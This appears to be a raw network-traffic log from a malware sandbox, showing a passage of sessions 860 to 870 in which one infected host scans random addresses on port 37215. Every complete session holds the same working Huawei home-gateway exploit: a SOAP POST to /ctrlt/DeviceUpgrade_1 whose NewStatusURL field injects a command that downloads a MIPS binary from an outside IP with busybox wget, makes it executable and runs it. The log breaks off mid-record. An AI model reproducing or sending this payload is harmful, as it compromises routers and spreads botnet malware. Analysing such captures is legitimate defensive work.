6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
860	192.168.2.13	35420	156.71.124.70	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.861460924 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
861	192.168.2.13	57532	156.34.17.184	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.862437963 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
862	192.168.2.13	37642	41.14.234.212	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.863236904 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
863	192.168.2.13	47112	156.213.216.105	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.864253044 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
864	192.168.2.13	38730	156.8.50.69	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.865200996 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
865	192.168.2.13	54502	156.239.132.115	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.866110086 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
866	192.168.2.13	52678	197.121.202.25	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.867036104 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
867	192.168.2.13	40972	197.16.236.173	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.868091106 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
868	192.168.2.13	39244	41.168.51.174	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.869004011 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
869	192.168.2.13	58204	197.36.79.49	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.869779110 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
870	192.168.2.13	56808	156.103.106.207	37215

Timestamp	Bytes transferred	Direction	Data
